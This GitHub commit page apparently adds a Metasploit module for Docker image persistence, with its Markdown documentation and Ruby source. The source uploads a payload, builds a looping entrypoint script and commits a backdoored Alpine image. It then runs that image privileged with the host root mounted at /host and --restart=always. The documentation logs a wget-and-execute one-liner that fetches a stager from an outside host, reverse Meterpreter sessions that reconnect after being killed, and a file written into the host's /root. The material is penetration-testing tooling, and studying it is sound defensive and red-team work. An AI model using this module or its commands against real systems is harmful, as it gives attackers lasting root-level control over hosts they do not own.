Skip to content

Commit dc8d675

Browse files
authored
Land rapid7#20536, adds docker image persistence module
docker image persistence module
2 parents 076fd0c + 93bc79e commit dc8d675

File tree

2 files changed

+326
-0
lines changed

2 files changed

+326
-0
lines changed
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
## Vulnerable Application
2+
3+
This module maintains persistence on a host by creating a docker image which runs our
4+
payload, and has access to the host's file system (/host in the container). Whenever the
5+
container restarts, the payload will run, or when the payload dies the executable
6+
will run again after a delay. This will allow for writing back
7+
into the host through cron entries, ssh keys, or other method.
8+
9+
Verified on Ubuntu 22.04.
10+
11+
## Verification Steps
12+
13+
1. Start `msfconsole`
14+
2. Get a Meterpreter session
15+
3. `use exploit/linux/persistence/docker_image`
16+
4. `set SESSION [SESSION]`
17+
5. `run`
18+
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.
19+
20+
## Options
21+
22+
### SLEEP
23+
24+
How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
25+
Default is `600`
26+
27+
## Scenarios
28+
29+
### Ubuntu 22.04
30+
31+
Get a meterpreter session
32+
33+
```
34+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
35+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
36+
verbose => true
37+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
38+
lhost => 1.1.1.1
39+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
40+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
41+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
42+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
43+
resource (/root/.msf4/msfconsole.rc)> set target 7
44+
target => 7
45+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
46+
srvport => 8082
47+
resource (/root/.msf4/msfconsole.rc)> set uripath l
48+
uripath => l
49+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
50+
payload => linux/x64/meterpreter/reverse_tcp
51+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
52+
lport => 4446
53+
resource (/root/.msf4/msfconsole.rc)> run
54+
[*] Starting persistent handler(s)...
55+
[*] Started reverse TCP handler on 1.1.1.1:4446
56+
[*] Using URL: http://1.1.1.1:8082/l
57+
[*] Server started.
58+
[*] Run the following command on the target machine:
59+
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
60+
msf exploit(multi/script/web_delivery) >
61+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
62+
[*] Transmitting intermediate stager...(126 bytes)
63+
[*] Sending stage (3090404 bytes) to 2.2.2.2
64+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
65+
```
66+
67+
Install Persistence
68+
69+
```
70+
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
71+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
72+
msf exploit(linux/persistence/docker_image) > set session 1
73+
session => 1
74+
msf exploit(linux/persistence/docker_image) > check
75+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
76+
[*] Checking Docker availability and permissions...
77+
[*] The service is running, but could not be validated. docker app is installed and accessible
78+
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
79+
payload => linux/x64/meterpreter/reverse_tcp
80+
msf exploit(linux/persistence/docker_image) > run
81+
[*] Exploit running as background job 2.
82+
[*] Exploit completed, but no session was created.
83+
84+
[*] Started reverse TCP handler on 1.1.1.1:4444
85+
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
86+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
87+
[*] Checking Docker availability and permissions...
88+
[!] The service is running, but could not be validated. docker app is installed and accessible
89+
[*] Writing backdoor to /tmp//DoEVqOGSMX
90+
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
91+
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
92+
[+] Persistent image created: alpine_fslaxxlv
93+
[*] Transmitting intermediate stager...(126 bytes)
94+
[*] Sending stage (3090404 bytes) to 2.2.2.2
95+
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
96+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
97+
[*] Stopping and removing temp container
98+
[*] Payload installed and running with 600-second loop in container
99+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
100+
```
101+
102+
Show the running docker container
103+
104+
```
105+
msf exploit(linux/persistence/docker_image) > sessions -i 1
106+
[*] Starting interaction with 1...
107+
108+
meterpreter > shell
109+
Process 16004 created.
110+
Channel 21 created.
111+
docker ps
112+
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
113+
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon
114+
115+
exit
116+
meterpreter > background
117+
[*] Backgrounding session 1...
118+
```
119+
120+
Kill meterpreter to show it restart automatically
121+
122+
```
123+
msf exploit(linux/persistence/docker_image) > sessions -i 2
124+
[*] Starting interaction with 2...
125+
126+
meterpreter > exit
127+
[*] Shutting down session: 2
128+
129+
[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
130+
msf exploit(linux/persistence/docker_image) >
131+
[*] Transmitting intermediate stager...(126 bytes)
132+
[*] Sending stage (3090404 bytes) to 2.2.2.2
133+
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
134+
```
135+
136+
Show access to the host's OS.
137+
138+
```
139+
msf exploit(linux/persistence/docker_image) > sessions -i 3
140+
[*] Starting interaction with 3...
141+
142+
meterpreter > cat /etc/os-release
143+
NAME="Alpine Linux"
144+
ID=alpine
145+
VERSION_ID=3.22.1
146+
PRETTY_NAME="Alpine Linux v3.22"
147+
HOME_URL="https://alpinelinux.org/"
148+
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
149+
meterpreter > cat /host/etc/os-release
150+
PRETTY_NAME="Ubuntu 22.04.1 LTS"
151+
NAME="Ubuntu"
152+
VERSION_ID="22.04"
153+
VERSION="22.04.1 LTS (Jammy Jellyfish)"
154+
VERSION_CODENAME=jammy
155+
ID=ubuntu
156+
ID_LIKE=debian
157+
HOME_URL="https://www.ubuntu.com/"
158+
SUPPORT_URL="https://help.ubuntu.com/"
159+
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
160+
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
161+
UBUNTU_CODENAME=jammy
162+
meterpreter > shell
163+
Process 19 created.
164+
Channel 3 created.
165+
touch /host/root/pwnd
166+
ls -lah /host/root/pwnd
167+
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd
168+
```
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Docker Image Persistence',
21+
'Description' => %q{
22+
This module maintains persistence on a host by creating a docker image which runs our
23+
payload, and has access to the host's file system (/host in the container). Whenever the
24+
container restarts, the payload will run, or when the payload dies the executable
25+
will run again after a delay. This will allow for writing back
26+
into the host through cron entries, ssh keys, or other method.
27+
28+
Verified on Ubuntu 22.04.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' => [
32+
'h00die',
33+
],
34+
'Platform' => [ 'linux' ],
35+
'Arch' => [
36+
# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
37+
ARCH_X86,
38+
ARCH_X64,
39+
ARCH_ARMLE,
40+
ARCH_AARCH64,
41+
ARCH_PPC,
42+
ARCH_MIPSLE,
43+
ARCH_MIPSBE
44+
],
45+
'SessionTypes' => [ 'meterpreter' ],
46+
'Targets' => [[ 'Auto', {} ]],
47+
'References' => [
48+
['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
49+
],
50+
'DisclosureDate' => '2013-03-20', # docker's release date
51+
'DefaultTarget' => 0,
52+
'Notes' => {
53+
'Stability' => [CRASH_SAFE],
54+
'Reliability' => [REPEATABLE_SESSION],
55+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
56+
}
57+
)
58+
)
59+
60+
register_options(
61+
[
62+
OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
63+
]
64+
)
65+
end
66+
67+
def check
68+
# we don't need this check since the payload is in the docker image
69+
# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
70+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
71+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
72+
return CheckCode::Safe('docker is required') unless command_exists?('docker')
73+
74+
vprint_status('Checking Docker availability and permissions...')
75+
76+
output = cmd_exec('docker ps 2>&1')
77+
78+
if output.include?('permission denied')
79+
return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
80+
elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
81+
return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
82+
end
83+
84+
CheckCode::Detected('docker app is installed and accessible')
85+
end
86+
87+
def install_persistence
88+
# Step 1: Prepare payload
89+
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
90+
backdoor = "#{writable_dir}/#{file_name}"
91+
vprint_status("Writing backdoor to #{backdoor}")
92+
upload_and_chmodx(backdoor, generate_payload_exe)
93+
94+
# Step 2: Prepare entrypoint script (loops indefinitely)
95+
sleep_time = datastore['SLEEP']
96+
entry_script = <<~SCRIPT
97+
#!/bin/sh
98+
while true; do
99+
if [ -x /usr/local/bin/#{file_name} ]; then
100+
# Check if it's already running
101+
if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
102+
/usr/local/bin/#{file_name} &
103+
fi
104+
fi
105+
sleep #{sleep_time}
106+
done
107+
SCRIPT
108+
109+
entry_file = "#{writable_dir}/entrypoint.sh"
110+
unless write_file(entry_file, entry_script)
111+
fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")
112+
end
113+
chmod(entry_file, 0o755)
114+
115+
# Step 3: Pull Alpine image
116+
cmd_exec('docker pull alpine')
117+
118+
# Step 4: Create a temporary container (stopped) to copy files in
119+
tmp_container = cmd_exec('docker run -dit alpine sh').strip
120+
vprint_status("Temporary container created: #{tmp_container}")
121+
122+
# Copy payload and entrypoint into container
123+
cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
124+
cmd_exec("docker cp #{entry_file} #{tmp_container}:/")
125+
126+
cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
127+
cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")
128+
129+
# Commit a new persistent image
130+
persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
131+
cmd_exec("docker commit #{tmp_container} #{persistent_image}")
132+
print_good("Persistent image created: #{persistent_image}")
133+
134+
# Remove temporary container
135+
cmd_exec("docker rm #{tmp_container}")
136+
137+
# Step 5: Start container with internal entrypoint
138+
container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
139+
print_good("Container started with internal entrypoint: #{container_id}")
140+
141+
# Step 6: Add cleanup commands for RC
142+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
143+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
144+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"
145+
146+
# Step 7: Clean up host temp files
147+
rm_f(backdoor)
148+
rm_f(entry_file)
149+
150+
# Step 8: Stop tmp image
151+
print_status('Stopping and removing temp container')
152+
cmd_exec("docker stop #{tmp_container}")
153+
cmd_exec("docker rm #{tmp_container}")
154+
155+
print_status("Payload installed and running with #{sleep_time}-second loop in container")
156+
end
157+
158+
end

0 commit comments

Comments
 (0)